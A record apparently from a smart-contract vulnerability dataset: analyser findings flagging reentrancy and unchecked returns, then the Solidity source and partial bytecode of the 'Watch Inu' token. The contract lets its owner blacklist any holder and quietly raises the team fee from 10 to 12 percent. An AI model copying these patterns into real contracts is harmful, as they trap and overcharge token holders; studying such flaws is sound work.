3808516600090815260208190526040808220858503905591851681529081208054849290611858908490611dac565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118a491815260200190565b60405180910390a350505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106118e7576118e7611f15565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611965573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119899190611f2b565b8160018151811061199c5761199c611f15565b60200260200101906001600160a01b031690816001600160a01b0316815250506119e7307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611174565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611a3c908590600090869030904290600401611f48565b600060405180830381600087803b158015611a5657600080fd5b505af1158015611a6a573d6000803e3d6000fd5b505050505050565b611a9d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611174565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719823085600080611ae46005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611b4c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b719190611fb9565b5050505050565b6040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015611bae573d6000803e3d6000fd5b505050565b60008060408385031215611bc657600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611c0257858101830151858201604001528201611be6565b81811115611c14576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611c3f57600080fd5b50565b60008060408385031215611c5557600080fd5b8235611c6081611c2a565b946020939093013593505050565b600080600060608486031215611c8357600080fd5b8335611c8e81611c2a565b92506020840135611c9e81611c2a565b929592945050506040919091013590565b600060208284031215611cc157600080fd5b8135611ccc81611c2a565b9392505050565b60008060408385031215611ce657600080fd5b8235611cf181611c2a565b91506020830135611d0181611c2a565b809150509250929050565b8015158114611c3f57600080fd5b60008060408385031215611d2d57600080fd5b8235611d3881611c2a565b91506020830135611d0181611d0c565b600060208284031215611d5a57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611dbf57611dbf611d96565b500190565b600181811c90821680611dd857607f821691505b60208210811415611df957634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215611e1157600080fd5b5051919050565b600060208284031215611e2a57600080fd5b8151611ccc81611d0c565b6000816000190483118215151615611e4f57611e4f611d96565b500290565b600082611e7157634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015611f1057611f10611d96565b500390565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611f3d57600080fd5b8151611ccc81611c2a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f985784516001600160a01b031683529383019391830191600101611f73565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611fce57600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212201f4ab8d13b67437464aea8ec06bf305a4ede540dfa78b307f17235d9f04c866d64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,712
0xc84164859f178362238402e25caf022f685c54c0
// Watch Inu The Leader Of All Inus // TG: https://t.me/watch_inu // Website: https://www.watchinu.finance/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WatchInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Watch Inu"; string private constant _symbol = "WatchInu\u23F0"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; _maxTxAmount = 10000000000 * 10**9; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063d543dbeb146103a4578063dd62ed3e146103cd578063e8078d941461040a57610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ecf565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129f2565b61045e565b6040516101789190612eb4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613071565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129a3565b61048d565b6040516101e09190612eb4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612915565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130e6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a6f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612915565b610783565b6040516102b19190613071565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612de6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ecf565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129f2565b61098d565b60405161035b9190612eb4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a2e565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103cb60048036038101906103c69190612ac1565b610b75565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612967565b610cbe565b6040516104019190613071565b60405180910390f35b34801561041657600080fd5b5061041f610d45565b005b60606040518060400160405280600981526020017f576174636820496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b611292565b848461129a565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611465565b61055b846104a6611292565b610556856040518060600160405280602881526020016137aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611292565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c249092919063ffffffff16565b61129a565b600190509392505050565b61056e611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fb1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fb1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611292565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c88565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d83565b9050919050565b6107dc611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f5761746368496e75e28fb0000000000000000000000000000000000000000000815250905090565b60006109a161099a611292565b8484611465565b6001905092915050565b6109b3611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fb1565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613387565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c611292565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611df1565b50565b610b7d611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fb1565b60405180910390fd5b60008111610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490612f71565b60405180910390fd5b610c7c6064610c6e83683635c9adc5dea000006120eb90919063ffffffff16565b61216690919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610cb39190613071565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d4d611292565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd190612fb1565b60405180910390fd5b600f60149054906101000a900460ff1615610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2190613031565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eba30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0057600080fd5b505afa158015610f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f38919061293e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9a57600080fd5b505afa158015610fae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd2919061293e565b6040518363ffffffff1660e01b8152600401610fef929190612e01565b602060405180830381600087803b15801561100957600080fd5b505af115801561101d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611041919061293e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ca30610783565b6000806110d5610927565b426040518863ffffffff1660e01b81526004016110f796959493929190612e53565b6060604051808303818588803b15801561111057600080fd5b505af1158015611124573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111499190612aea565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161123c929190612e2a565b602060405180830381600087803b15801561125657600080fd5b505af115801561126a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128e9190612a98565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130190613011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137190612f31565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114589190613071565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c90612ef1565b60405180910390fd5b60008111611588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157f90612fd1565b60405180910390fd5b611590610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115fe57506115ce610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6157600f60179054906101000a900460ff1615611831573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116da5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117345750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177a611292565b73ffffffffffffffffffffffffffffffffffffffff1614806117f05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117d8611292565b73ffffffffffffffffffffffffffffffffffffffff16145b61182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613051565b60405180910390fd5b5b5b60105481111561184057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ed57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119985750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ee5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a065750600f60179054906101000a900460ff165b15611aa75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5657600080fd5b600f42611a6391906131a7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab230610783565b9050600f60159054906101000a900460ff16158015611b1f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b375750600f60169054906101000a900460ff165b15611b5f57611b4581611df1565b60004790506000811115611b5d57611b5c47611c88565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c085750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1257600090505b611c1e848484846121b0565b50505050565b6000838311158290611c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c639190612ecf565b60405180910390fd5b5060008385611c7b9190613288565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd860028461216690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d03573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5460028461216690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d7f573d6000803e3d6000fd5b5050565b6000600654821115611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc190612f11565b60405180910390fd5b6000611dd46121dd565b9050611de9818461216690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e7d5781602001602082028036833780820191505090505b5090503081600081518110611ebb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5d57600080fd5b505afa158015611f71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f95919061293e565b81600181518110611fcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129a565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209a95949392919061308c565b600060405180830381600087803b1580156120b457600080fd5b505af11580156120c8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120fe5760009050612160565b6000828461210c919061322e565b905082848261211b91906131fd565b1461215b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215290612f91565b60405180910390fd5b809150505b92915050565b60006121a883836040518060400160405280601a8152602001